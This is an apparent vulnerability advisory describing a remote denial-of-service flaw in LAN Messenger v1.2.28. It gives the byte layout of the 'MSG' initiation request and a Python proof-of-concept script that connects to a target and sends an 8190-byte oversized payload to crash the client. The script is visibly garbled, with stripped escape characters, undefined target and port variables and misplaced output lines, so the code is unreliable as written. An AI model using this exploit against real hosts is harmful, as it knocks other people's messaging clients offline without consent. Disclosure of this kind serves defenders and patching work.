LAN Messenger v1.2.28 - Denial of Service Vulnerability




LAN Messenger is a free and open source cross-platform instant messaging application for communication over a
local network. It does not require a server. A number of useful features including event notifications, file transfer
and message logging are provided.

(Copy of the Website: http://lanmsngr.sourceforge.net )

The Vulnerability Laboratory Research Team discovered a remote Denial of Service vulnerability on LAN Messenger v1.2.28.




Remote Denial of Service vulnerability is detected on LAN Messenger <= v1.2.28 (current version) for Windows.
The vulnerability is triggered when sending a malformed initiation request to the client.

The initiation consists of 3 parts:
MSG + Number + UserID

As an example:
0000 4d 53 47 30 30 30 43 32 39 43 39 43 32 39 32 41 MSG000C29C9C292A
0010 64 6d 69 6e 69 73 74 72 61 74 6f 72 dministrator

When appending at least 8190 (Tested on WinXP) or more bytes to the \\\\\\\\\\\\\\\"MSG\\\\\\\\\\\\\\\" string, a C++ Exception is triggered.

Proof of Concept:
The denial of service vulnerability can be exploited by remote attackers. For demonstration or reproduce ...


from struct import pack
import socket,sys
import os


junk = "x41" * 8190

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target, port))
print "[*] Connected to " + target + "!"
print "[!] " + target + " didn't respondn"

print "[*] Sending malformed request..."
s.send("x4dx53x47" + junk)

print "[!] Exploit has been sent!n"

The security irsk of the remote denial of service vulnerability is estimated as medium.
